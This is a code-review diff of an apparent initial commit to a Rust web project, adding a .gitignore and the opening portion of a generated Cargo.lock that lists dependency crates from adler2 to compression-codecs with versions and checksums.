qoxwzsukwmkxmerged#1
initial commit
A.gitignore+22−0
| @@ −0,0 +1,22 @@ | |||
| 1 | + | # secrets | |
| 2 | + | .env | |
| 3 | + | ||
| 4 | + | # rust | |
| 5 | + | /target | |
| 6 | + | **/*.rs.bk | |
| 7 | + | ||
| 8 | + | # generated test fixtures — rebuilt by fixtures/gen.sh, never committed | |
| 9 | + | /fixtures/repos/ | |
| 10 | + | /fixtures/bin/ | |
| 11 | + | ||
| 12 | + | # node (reference prototype only) | |
| 13 | + | reference/prototype/node_modules/ | |
| 14 | + | reference/prototype/.next/ | |
| 15 | + | ||
| 16 | + | # assets built by tailwind | |
| 17 | + | crates/df-web/assets/dist/ | |
| 18 | + | ||
| 19 | + | # local repo storage when running outside docker | |
| 20 | + | /srv/ | |
| 21 | + | ||
| 22 | + | **/node_modules/ | |
ACargo.lock6162 lines+6162−0
| @@ −0,0 +1,6162 @@ | |||
| 1 | + | # This file is automatically @generated by Cargo. | |
| 2 | + | # It is not intended for manual editing. | |
| 3 | + | version = 4 | |
| 4 | + | ||
| 5 | + | [[package]] | |
| 6 | + | name = "adler2" | |
| 7 | + | version = "2.0.1" | |
| 8 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 9 | + | checksum = "320119579fcad9c21884f5c4861d16174d0e06250625266f50fe6898340abefa" | |
| 10 | + | ||
| 11 | + | [[package]] | |
| 12 | + | name = "aead" | |
| 13 | + | version = "0.5.2" | |
| 14 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 15 | + | checksum = "d122413f284cf2d62fb1b7db97e02edb8cda96d769b16e443a4f6195e35662b0" | |
| 16 | + | dependencies = [ | |
| 17 | + | "crypto-common", | |
| 18 | + | "generic-array", | |
| 19 | + | ] | |
| 20 | + | ||
| 21 | + | [[package]] | |
| 22 | + | name = "aes" | |
| 23 | + | version = "0.8.4" | |
| 24 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 25 | + | checksum = "b169f7a6d4742236a0a00c541b845991d0ac43e546831af1249753ab4c3aa3a0" | |
| 26 | + | dependencies = [ | |
| 27 | + | "cfg-if", | |
| 28 | + | "cipher", | |
| 29 | + | "cpufeatures 0.2.17", | |
| 30 | + | ] | |
| 31 | + | ||
| 32 | + | [[package]] | |
| 33 | + | name = "aes-gcm" | |
| 34 | + | version = "0.10.3" | |
| 35 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 36 | + | checksum = "831010a0f742e1209b3bcea8fab6a8e149051ba6099432c8cb2cc117dec3ead1" | |
| 37 | + | dependencies = [ | |
| 38 | + | "aead", | |
| 39 | + | "aes", | |
| 40 | + | "cipher", | |
| 41 | + | "ctr", | |
| 42 | + | "ghash", | |
| 43 | + | "subtle", | |
| 44 | + | ] | |
| 45 | + | ||
| 46 | + | [[package]] | |
| 47 | + | name = "ahash" | |
| 48 | + | version = "0.8.12" | |
| 49 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 50 | + | checksum = "5a15f179cd60c4584b8a8c596927aadc462e27f2ca70c04e0071964a73ba7a75" | |
| 51 | + | dependencies = [ | |
| 52 | + | "cfg-if", | |
| 53 | + | "once_cell", | |
| 54 | + | "version_check", | |
| 55 | + | "zerocopy", | |
| 56 | + | ] | |
| 57 | + | ||
| 58 | + | [[package]] | |
| 59 | + | name = "aho-corasick" | |
| 60 | + | version = "1.1.4" | |
| 61 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 62 | + | checksum = "ddd31a130427c27518df266943a5308ed92d4b226cc639f5a8f1002816174301" | |
| 63 | + | dependencies = [ | |
| 64 | + | "memchr", | |
| 65 | + | ] | |
| 66 | + | ||
| 67 | + | [[package]] | |
| 68 | + | name = "allocator-api2" | |
| 69 | + | version = "0.2.21" | |
| 70 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 71 | + | checksum = "683d7910e743518b0e34f1186f92494becacb047c7b6bf616c96772180fef923" | |
| 72 | + | ||
| 73 | + | [[package]] | |
| 74 | + | name = "ammonia" | |
| 75 | + | version = "4.1.4" | |
| 76 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 77 | + | checksum = "dc6d763210e2eb7670d1a5183a08bebefa3f97db2a738a684f2ce00bd49f681d" | |
| 78 | + | dependencies = [ | |
| 79 | + | "cssparser", | |
| 80 | + | "html5ever", | |
| 81 | + | "maplit", | |
| 82 | + | "url", | |
| 83 | + | ] | |
| 84 | + | ||
| 85 | + | [[package]] | |
| 86 | + | name = "android_system_properties" | |
| 87 | + | version = "0.1.5" | |
| 88 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 89 | + | checksum = "819e7219dbd41043ac279b19830f2efc897156490d7fd6ea916720117ee66311" | |
| 90 | + | dependencies = [ | |
| 91 | + | "libc", | |
| 92 | + | ] | |
| 93 | + | ||
| 94 | + | [[package]] | |
| 95 | + | name = "anstream" | |
| 96 | + | version = "1.0.0" | |
| 97 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 98 | + | checksum = "824a212faf96e9acacdbd09febd34438f8f711fb84e09a8916013cd7815ca28d" | |
| 99 | + | dependencies = [ | |
| 100 | + | "anstyle", | |
| 101 | + | "anstyle-parse", | |
| 102 | + | "anstyle-query", | |
| 103 | + | "anstyle-wincon", | |
| 104 | + | "colorchoice", | |
| 105 | + | "is_terminal_polyfill", | |
| 106 | + | "utf8parse", | |
| 107 | + | ] | |
| 108 | + | ||
| 109 | + | [[package]] | |
| 110 | + | name = "anstyle" | |
| 111 | + | version = "1.0.14" | |
| 112 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 113 | + | checksum = "940b3a0ca603d1eade50a4846a2afffd5ef57a9feac2c0e2ec2e14f9ead76000" | |
| 114 | + | ||
| 115 | + | [[package]] | |
| 116 | + | name = "anstyle-parse" | |
| 117 | + | version = "1.0.0" | |
| 118 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 119 | + | checksum = "52ce7f38b242319f7cabaa6813055467063ecdc9d355bbb4ce0c68908cd8130e" | |
| 120 | + | dependencies = [ | |
| 121 | + | "utf8parse", | |
| 122 | + | ] | |
| 123 | + | ||
| 124 | + | [[package]] | |
| 125 | + | name = "anstyle-query" | |
| 126 | + | version = "1.1.5" | |
| 127 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 128 | + | checksum = "40c48f72fd53cd289104fc64099abca73db4166ad86ea0b4341abe65af83dadc" | |
| 129 | + | dependencies = [ | |
| 130 | + | "windows-sys 0.61.2", | |
| 131 | + | ] | |
| 132 | + | ||
| 133 | + | [[package]] | |
| 134 | + | name = "anstyle-wincon" | |
| 135 | + | version = "3.0.11" | |
| 136 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 137 | + | checksum = "291e6a250ff86cd4a820112fb8898808a366d8f9f58ce16d1f538353ad55747d" | |
| 138 | + | dependencies = [ | |
| 139 | + | "anstyle", | |
| 140 | + | "once_cell_polyfill", | |
| 141 | + | "windows-sys 0.61.2", | |
| 142 | + | ] | |
| 143 | + | ||
| 144 | + | [[package]] | |
| 145 | + | name = "anyhow" | |
| 146 | + | version = "1.0.104" | |
| 147 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 148 | + | checksum = "330a5ed07fa54e4702c9d6c4174f74427fc0ef6e214bbd677ae50a5099946470" | |
| 149 | + | ||
| 150 | + | [[package]] | |
| 151 | + | name = "arc-swap" | |
| 152 | + | version = "1.9.2" | |
| 153 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 154 | + | checksum = "c049c0be4daef0b145cb3555416b3b8ef5b7888a38aea1a3a155801fe7b0810b" | |
| 155 | + | dependencies = [ | |
| 156 | + | "rustversion", | |
| 157 | + | ] | |
| 158 | + | ||
| 159 | + | [[package]] | |
| 160 | + | name = "argon2" | |
| 161 | + | version = "0.5.3" | |
| 162 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 163 | + | checksum = "3c3610892ee6e0cbce8ae2700349fcf8f98adb0dbfbee85aec3c9179d29cc072" | |
| 164 | + | dependencies = [ | |
| 165 | + | "base64ct", | |
| 166 | + | "blake2", | |
| 167 | + | "cpufeatures 0.2.17", | |
| 168 | + | "password-hash", | |
| 169 | + | ] | |
| 170 | + | ||
| 171 | + | [[package]] | |
| 172 | + | name = "arrayvec" | |
| 173 | + | version = "0.7.8" | |
| 174 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 175 | + | checksum = "d3fb67a6e08acf24fdeccbac2cb6ac4305825bd1f117462e0e6f2f193345ad56" | |
| 176 | + | ||
| 177 | + | [[package]] | |
| 178 | + | name = "async-compression" | |
| 179 | + | version = "0.4.43" | |
| 180 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 181 | + | checksum = "3976abdc8fe7d1133d43d304afd42abdf5bc3e1319d263d223bde07b5efc4be8" | |
| 182 | + | dependencies = [ | |
| 183 | + | "compression-codecs", | |
| 184 | + | "compression-core", | |
| 185 | + | "pin-project-lite", | |
| 186 | + | "tokio", | |
| 187 | + | ] | |
| 188 | + | ||
| 189 | + | [[package]] | |
| 190 | + | name = "async-trait" | |
| 191 | + | version = "0.1.91" | |
| 192 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 193 | + | checksum = "ae36dc4177970ef04fde5178d3e2429882def40e57a451f919c098f72baa6cec" | |
| 194 | + | dependencies = [ | |
| 195 | + | "proc-macro2", | |
| 196 | + | "quote", | |
| 197 | + | "syn 3.0.3", | |
| 198 | + | ] | |
| 199 | + | ||
| 200 | + | [[package]] | |
| 201 | + | name = "atoi" | |
| 202 | + | version = "2.0.0" | |
| 203 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 204 | + | checksum = "f28d99ec8bfea296261ca1af174f24225171fea9664ba9003cbebee704810528" | |
| 205 | + | dependencies = [ | |
| 206 | + | "num-traits", | |
| 207 | + | ] | |
| 208 | + | ||
| 209 | + | [[package]] | |
| 210 | + | name = "atomic-waker" | |
| 211 | + | version = "1.1.2" | |
| 212 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 213 | + | checksum = "1505bd5d3d116872e7271a6d4e16d81d0c8570876c8de68093a09ac269d8aac0" | |
| 214 | + | ||
| 215 | + | [[package]] | |
| 216 | + | name = "autocfg" | |
| 217 | + | version = "1.5.1" | |
| 218 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 219 | + | checksum = "f2032f911046de80f0a198e0901378627c33f59ea0ac00e363d481118bd70a53" | |
| 220 | + | ||
| 221 | + | [[package]] | |
| 222 | + | name = "aws-lc-rs" | |
| 223 | + | version = "1.17.3" | |
| 224 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 225 | + | checksum = "00bdb5da18dac48ca2cc7cd4a98e533e8635a58e2361d13a1a4ee3888e0d72f1" | |
| 226 | + | dependencies = [ | |
| 227 | + | "aws-lc-sys", | |
| 228 | + | "zeroize", | |
| 229 | + | ] | |
| 230 | + | ||
| 231 | + | [[package]] | |
| 232 | + | name = "aws-lc-sys" | |
| 233 | + | version = "0.43.0" | |
| 234 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 235 | + | checksum = "43103168cc76fe62678a375e722fc9cb3a0146159ac5828bc4f0dfd755c2224c" | |
| 236 | + | dependencies = [ | |
| 237 | + | "cc", | |
| 238 | + | "cmake", | |
| 239 | + | "dunce", | |
| 240 | + | "fs_extra", | |
| 241 | + | "pkg-config", | |
| 242 | + | ] | |
| 243 | + | ||
| 244 | + | [[package]] | |
| 245 | + | name = "axum" | |
| 246 | + | version = "0.8.9" | |
| 247 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 248 | + | checksum = "31b698c5f9a010f6573133b09e0de5408834d0c82f8d7475a89fc1867a71cd90" | |
| 249 | + | dependencies = [ | |
| 250 | + | "axum-core", | |
| 251 | + | "axum-macros", | |
| 252 | + | "bytes", | |
| 253 | + | "form_urlencoded", | |
| 254 | + | "futures-util", | |
| 255 | + | "http", | |
| 256 | + | "http-body", | |
| 257 | + | "http-body-util", | |
| 258 | + | "hyper", | |
| 259 | + | "hyper-util", | |
| 260 | + | "itoa", | |
| 261 | + | "matchit", | |
| 262 | + | "memchr", | |
| 263 | + | "mime", | |
| 264 | + | "percent-encoding", | |
| 265 | + | "pin-project-lite", | |
| 266 | + | "serde_core", | |
| 267 | + | "serde_json", | |
| 268 | + | "serde_path_to_error", | |
| 269 | + | "serde_urlencoded", | |
| 270 | + | "sync_wrapper", | |
| 271 | + | "tokio", | |
| 272 | + | "tower", | |
| 273 | + | "tower-layer", | |
| 274 | + | "tower-service", | |
| 275 | + | "tracing", | |
| 276 | + | ] | |
| 277 | + | ||
| 278 | + | [[package]] | |
| 279 | + | name = "axum-core" | |
| 280 | + | version = "0.5.6" | |
| 281 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 282 | + | checksum = "08c78f31d7b1291f7ee735c1c6780ccde7785daae9a9206026862dab7d8792d1" | |
| 283 | + | dependencies = [ | |
| 284 | + | "bytes", | |
| 285 | + | "futures-core", | |
| 286 | + | "http", | |
| 287 | + | "http-body", | |
| 288 | + | "http-body-util", | |
| 289 | + | "mime", | |
| 290 | + | "pin-project-lite", | |
| 291 | + | "sync_wrapper", | |
| 292 | + | "tower-layer", | |
| 293 | + | "tower-service", | |
| 294 | + | "tracing", | |
| 295 | + | ] | |
| 296 | + | ||
| 297 | + | [[package]] | |
| 298 | + | name = "axum-extra" | |
| 299 | + | version = "0.10.3" | |
| 300 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 301 | + | checksum = "9963ff19f40c6102c76756ef0a46004c0d58957d87259fc9208ff8441c12ab96" | |
| 302 | + | dependencies = [ | |
| 303 | + | "axum", | |
| 304 | + | "axum-core", | |
| 305 | + | "bytes", | |
| 306 | + | "cookie", | |
| 307 | + | "futures-util", | |
| 308 | + | "headers", | |
| 309 | + | "http", | |
| 310 | + | "http-body", | |
| 311 | + | "http-body-util", | |
| 312 | + | "mime", | |
| 313 | + | "pin-project-lite", | |
| 314 | + | "rustversion", | |
| 315 | + | "serde_core", | |
| 316 | + | "tower-layer", | |
| 317 | + | "tower-service", | |
| 318 | + | "tracing", | |
| 319 | + | ] | |
| 320 | + | ||
| 321 | + | [[package]] | |
| 322 | + | name = "axum-macros" | |
| 323 | + | version = "0.5.1" | |
| 324 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 325 | + | checksum = "7aa268c23bfbbd2c4363b9cd302a4f504fb2a9dfe7e3451d66f35dd392e20aca" | |
| 326 | + | dependencies = [ | |
| 327 | + | "proc-macro2", | |
| 328 | + | "quote", | |
| 329 | + | "syn 2.0.119", | |
| 330 | + | ] | |
| 331 | + | ||
| 332 | + | [[package]] | |
| 333 | + | name = "base16ct" | |
| 334 | + | version = "0.2.0" | |
| 335 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 336 | + | checksum = "4c7f02d4ea65f2c1853089ffd8d2787bdbc63de2f0d29dedbcf8ccdfa0ccd4cf" | |
| 337 | + | ||
| 338 | + | [[package]] | |
| 339 | + | name = "base64" | |
| 340 | + | version = "0.21.7" | |
| 341 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 342 | + | checksum = "9d297deb1925b89f2ccc13d7635fa0714f12c87adce1c75356b39ca9b7178567" | |
| 343 | + | ||
| 344 | + | [[package]] | |
| 345 | + | name = "base64" | |
| 346 | + | version = "0.22.1" | |
| 347 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 348 | + | checksum = "72b3254f16251a8381aa12e40e3c4d2f0199f8c6508fbecb9d91f575e0fbb8c6" | |
| 349 | + | ||
| 350 | + | [[package]] | |
| 351 | + | name = "base64ct" | |
| 352 | + | version = "1.8.3" | |
| 353 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 354 | + | checksum = "2af50177e190e07a26ab74f8b1efbfe2ef87da2116221318cb1c2e82baf7de06" | |
| 355 | + | ||
| 356 | + | [[package]] | |
| 357 | + | name = "bcrypt-pbkdf" | |
| 358 | + | version = "0.10.0" | |
| 359 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 360 | + | checksum = "6aeac2e1fe888769f34f05ac343bbef98b14d1ffb292ab69d4608b3abc86f2a2" | |
| 361 | + | dependencies = [ | |
| 362 | + | "blowfish", | |
| 363 | + | "pbkdf2", | |
| 364 | + | "sha2", | |
| 365 | + | ] | |
| 366 | + | ||
| 367 | + | [[package]] | |
| 368 | + | name = "bincode" | |
| 369 | + | version = "1.3.3" | |
| 370 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 371 | + | checksum = "b1f45e9417d87227c7a56d22e471c6206462cba514c7590c09aff4cf6d1ddcad" | |
| 372 | + | dependencies = [ | |
| 373 | + | "serde", | |
| 374 | + | ] | |
| 375 | + | ||
| 376 | + | [[package]] | |
| 377 | + | name = "bit-set" | |
| 378 | + | version = "0.8.0" | |
| 379 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 380 | + | checksum = "08807e080ed7f9d5433fa9b275196cfc35414f66a0c79d864dc51a0d825231a3" | |
| 381 | + | dependencies = [ | |
| 382 | + | "bit-vec", | |
| 383 | + | ] | |
| 384 | + | ||
| 385 | + | [[package]] | |
| 386 | + | name = "bit-vec" | |
| 387 | + | version = "0.8.0" | |
| 388 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 389 | + | checksum = "5e764a1d40d510daf35e07be9eb06e75770908c27d411ee6c92109c9840eaaf7" | |
| 390 | + | ||
| 391 | + | [[package]] | |
| 392 | + | name = "bitflags" | |
| 393 | + | version = "1.3.2" | |
| 394 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 395 | + | checksum = "bef38d45163c2f1dde094a7dfd33ccf595c92905c8f8f4fdc18d06fb1037718a" | |
| 396 | + | ||
| 397 | + | [[package]] | |
| 398 | + | name = "bitflags" | |
| 399 | + | version = "2.13.1" | |
| 400 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 401 | + | checksum = "b588b76d00fde79687d7646a9b5bdf3cc0f655e0bbd080335a95d7e96f3587da" | |
| 402 | + | dependencies = [ | |
| 403 | + | "serde_core", | |
| 404 | + | ] | |
| 405 | + | ||
| 406 | + | [[package]] | |
| 407 | + | name = "blake2" | |
| 408 | + | version = "0.10.6" | |
| 409 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 410 | + | checksum = "46502ad458c9a52b69d4d4d32775c788b7a1b85e8bc9d482d92250fc0e3f8efe" | |
| 411 | + | dependencies = [ | |
| 412 | + | "digest", | |
| 413 | + | ] | |
| 414 | + | ||
| 415 | + | [[package]] | |
| 416 | + | name = "block-buffer" | |
| 417 | + | version = "0.10.4" | |
| 418 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 419 | + | checksum = "3078c7629b62d3f0439517fa394996acacc5cbc91c5a20d8c658e77abd503a71" | |
| 420 | + | dependencies = [ | |
| 421 | + | "generic-array", | |
| 422 | + | ] | |
| 423 | + | ||
| 424 | + | [[package]] | |
| 425 | + | name = "block-padding" | |
| 426 | + | version = "0.3.3" | |
| 427 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 428 | + | checksum = "a8894febbff9f758034a5b8e12d87918f56dfc64a8e1fe757d65e29041538d93" | |
| 429 | + | dependencies = [ | |
| 430 | + | "generic-array", | |
| 431 | + | ] | |
| 432 | + | ||
| 433 | + | [[package]] | |
| 434 | + | name = "blowfish" | |
| 435 | + | version = "0.9.1" | |
| 436 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 437 | + | checksum = "e412e2cd0f2b2d93e02543ceae7917b3c70331573df19ee046bcbc35e45e87d7" | |
| 438 | + | dependencies = [ | |
| 439 | + | "byteorder", | |
| 440 | + | "cipher", | |
| 441 | + | ] | |
| 442 | + | ||
| 443 | + | [[package]] | |
| 444 | + | name = "bon" | |
| 445 | + | version = "3.9.3" | |
| 446 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 447 | + | checksum = "a602c73c7b0148ec6d12af6fd5cc7a46e2eacc8878271a999abac56eed12f561" | |
| 448 | + | dependencies = [ | |
| 449 | + | "bon-macros", | |
| 450 | + | "rustversion", | |
| 451 | + | ] | |
| 452 | + | ||
| 453 | + | [[package]] | |
| 454 | + | name = "bon-macros" | |
| 455 | + | version = "3.9.3" | |
| 456 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 457 | + | checksum = "6dee98b0db6a962de883bf5d20362dee4d7ca0d12fe39a7c6c73c844e1cd7c1f" | |
| 458 | + | dependencies = [ | |
| 459 | + | "darling", | |
| 460 | + | "ident_case", | |
| 461 | + | "prettyplease", | |
| 462 | + | "proc-macro2", | |
| 463 | + | "quote", | |
| 464 | + | "rustversion", | |
| 465 | + | "syn 2.0.119", | |
| 466 | + | ] | |
| 467 | + | ||
| 468 | + | [[package]] | |
| 469 | + | name = "bs58" | |
| 470 | + | version = "0.5.1" | |
| 471 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 472 | + | checksum = "bf88ba1141d185c399bee5288d850d63b8369520c1eafc32a0430b5b6c287bf4" | |
| 473 | + | dependencies = [ | |
| 474 | + | "tinyvec", | |
| 475 | + | ] | |
| 476 | + | ||
| 477 | + | [[package]] | |
| 478 | + | name = "bstr" | |
| 479 | + | version = "1.13.0" | |
| 480 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 481 | + | checksum = "1f7dc094d718f2e1c1559ad110e27eeaae14a5465d3d56dd6dbd793079fbd530" | |
| 482 | + | dependencies = [ | |
| 483 | + | "memchr", | |
| 484 | + | "regex-automata", | |
| 485 | + | "serde_core", | |
| 486 | + | ] | |
| 487 | + | ||
| 488 | + | [[package]] | |
| 489 | + | name = "bumpalo" | |
| 490 | + | version = "3.20.3" | |
| 491 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 492 | + | checksum = "72f5acc6cb2ba439de613abc23857ec3d78374d8ed5ac84e9d11336e87da8649" | |
| 493 | + | ||
| 494 | + | [[package]] | |
| 495 | + | name = "byteorder" | |
| 496 | + | version = "1.5.0" | |
| 497 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 498 | + | checksum = "1fd0f2584146f6f2ef48085050886acf353beff7305ebd1ae69500e27c67f64b" | |
| 499 | + | ||
| 500 | + | [[package]] | |
| 501 | + | name = "bytes" | |
| 502 | + | version = "1.12.1" | |
| 503 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 504 | + | checksum = "fc652a48c352aef3ea3aed32080501cf3ef6ed5da78602a020c991775b0aff04" | |
| 505 | + | ||
| 506 | + | [[package]] | |
| 507 | + | name = "caseless" | |
| 508 | + | version = "0.2.2" | |
| 509 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 510 | + | checksum = "8b6fd507454086c8edfd769ca6ada439193cdb209c7681712ef6275cccbfe5d8" | |
| 511 | + | dependencies = [ | |
| 512 | + | "unicode-normalization", | |
| 513 | + | ] | |
| 514 | + | ||
| 515 | + | [[package]] | |
| 516 | + | name = "cbc" | |
| 517 | + | version = "0.1.2" | |
| 518 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 519 | + | checksum = "26b52a9543ae338f279b96b0b9fed9c8093744685043739079ce85cd58f289a6" | |
| 520 | + | dependencies = [ | |
| 521 | + | "cipher", | |
| 522 | + | ] | |
| 523 | + | ||
| 524 | + | [[package]] | |
| 525 | + | name = "cc" | |
| 526 | + | version = "1.2.67" | |
| 527 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 528 | + | checksum = "e17dd265a7d0f31ef544e1b20e03add05d3b45b491b633b10d67145d2acc1a38" | |
| 529 | + | dependencies = [ | |
| 530 | + | "find-msvc-tools", | |
| 531 | + | "jobserver", | |
| 532 | + | "libc", | |
| 533 | + | "shlex", | |
| 534 | + | ] | |
| 535 | + | ||
| 536 | + | [[package]] | |
| 537 | + | name = "cfg-if" | |
| 538 | + | version = "1.0.4" | |
| 539 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 540 | + | checksum = "9330f8b2ff13f34540b44e946ef35111825727b38d33286ef986142615121801" | |
| 541 | + | ||
| 542 | + | [[package]] | |
| 543 | + | name = "cfg_aliases" | |
| 544 | + | version = "0.2.2" | |
| 545 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 546 | + | checksum = "f079e83a288787bcd14a6aea84cee5c87a67c5a3e660c30f557a3d24761b3527" | |
| 547 | + | ||
| 548 | + | [[package]] | |
| 549 | + | name = "chacha20" | |
| 550 | + | version = "0.9.1" | |
| 551 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 552 | + | checksum = "c3613f74bd2eac03dad61bd53dbe620703d4371614fe0bc3b9f04dd36fe4e818" | |
| 553 | + | dependencies = [ | |
| 554 | + | "cfg-if", | |
| 555 | + | "cipher", | |
| 556 | + | "cpufeatures 0.2.17", | |
| 557 | + | ] | |
| 558 | + | ||
| 559 | + | [[package]] | |
| 560 | + | name = "chacha20" | |
| 561 | + | version = "0.10.1" | |
| 562 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 563 | + | checksum = "d524456ba66e72eb8b115ff89e01e497f8e6d11d78b70b1aa13c0fbd97540a81" | |
| 564 | + | dependencies = [ | |
| 565 | + | "cfg-if", | |
| 566 | + | "cpufeatures 0.3.0", | |
| 567 | + | "rand_core 0.10.1", | |
| 568 | + | ] | |
| 569 | + | ||
| 570 | + | [[package]] | |
| 571 | + | name = "chrono" | |
| 572 | + | version = "0.4.45" | |
| 573 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 574 | + | checksum = "1aa79e62e7697b8e29b513a68abacf485adcd1fe8284a4316c5ae868e6633327" | |
| 575 | + | dependencies = [ | |
| 576 | + | "iana-time-zone", | |
| 577 | + | "js-sys", | |
| 578 | + | "num-traits", | |
| 579 | + | "serde", | |
| 580 | + | "wasm-bindgen", | |
| 581 | + | "windows-link", | |
| 582 | + | ] | |
| 583 | + | ||
| 584 | + | [[package]] | |
| 585 | + | name = "cipher" | |
| 586 | + | version = "0.4.4" | |
| 587 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 588 | + | checksum = "773f3b9af64447d2ce9850330c473515014aa235e6a783b02db81ff39e4a3dad" | |
| 589 | + | dependencies = [ | |
| 590 | + | "crypto-common", | |
| 591 | + | "inout", | |
| 592 | + | ] | |
| 593 | + | ||
| 594 | + | [[package]] | |
| 595 | + | name = "clap" | |
| 596 | + | version = "4.6.4" | |
| 597 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 598 | + | checksum = "d91e0c145792ef73a6ad36d27c75ac09f1832222a3c209689d90f534685ee5b7" | |
| 599 | + | dependencies = [ | |
| 600 | + | "clap_builder", | |
| 601 | + | "clap_derive", | |
| 602 | + | ] | |
| 603 | + | ||
| 604 | + | [[package]] | |
| 605 | + | name = "clap_builder" | |
| 606 | + | version = "4.6.2" | |
| 607 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 608 | + | checksum = "f09628afdcc538b57f3c6341e9c8e9970f18e4a481690a64974d7023bd33548b" | |
| 609 | + | dependencies = [ | |
| 610 | + | "anstream", | |
| 611 | + | "anstyle", | |
| 612 | + | "clap_lex", | |
| 613 | + | "strsim", | |
| 614 | + | "terminal_size", | |
| 615 | + | ] | |
| 616 | + | ||
| 617 | + | [[package]] | |
| 618 | + | name = "clap_derive" | |
| 619 | + | version = "4.6.4" | |
| 620 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 621 | + | checksum = "d012d2b9d65aca7f18f4d9878a045bc17899bba951561ba5ec3c2ba1eed9a061" | |
| 622 | + | dependencies = [ | |
| 623 | + | "heck", | |
| 624 | + | "proc-macro2", | |
| 625 | + | "quote", | |
| 626 | + | "syn 3.0.3", | |
| 627 | + | ] | |
| 628 | + | ||
| 629 | + | [[package]] | |
| 630 | + | name = "clap_lex" | |
| 631 | + | version = "1.1.0" | |
| 632 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 633 | + | checksum = "c8d4a3bb8b1e0c1050499d1815f5ab16d04f0959b233085fb31653fbfc9d98f9" | |
| 634 | + | ||
| 635 | + | [[package]] | |
| 636 | + | name = "clru" | |
| 637 | + | version = "0.6.3" | |
| 638 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 639 | + | checksum = "197fd99cb113a8d5d9b6376f3aa817f32c1078f2343b714fff7d2ca44fdf67d5" | |
| 640 | + | dependencies = [ | |
| 641 | + | "hashbrown 0.16.1", | |
| 642 | + | ] | |
| 643 | + | ||
| 644 | + | [[package]] | |
| 645 | + | name = "cmake" | |
| 646 | + | version = "0.1.58" | |
| 647 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 648 | + | checksum = "c0f78a02292a74a88ac736019ab962ece0bc380e3f977bf72e376c5d78ff0678" | |
| 649 | + | dependencies = [ | |
| 650 | + | "cc", | |
| 651 | + | ] | |
| 652 | + | ||
| 653 | + | [[package]] | |
| 654 | + | name = "colorchoice" | |
| 655 | + | version = "1.0.5" | |
| 656 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 657 | + | checksum = "1d07550c9036bf2ae0c684c4297d503f838287c83c53686d05370d0e139ae570" | |
| 658 | + | ||
| 659 | + | [[package]] | |
| 660 | + | name = "compression-codecs" | |
| 661 | + | version = "0.4.38" | |
| 662 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 663 | + | checksum = "ce2548391e9c1929c21bf6aa2680af86fe4c1b33e6cea9ac1cfeec0bd11218cf" | |
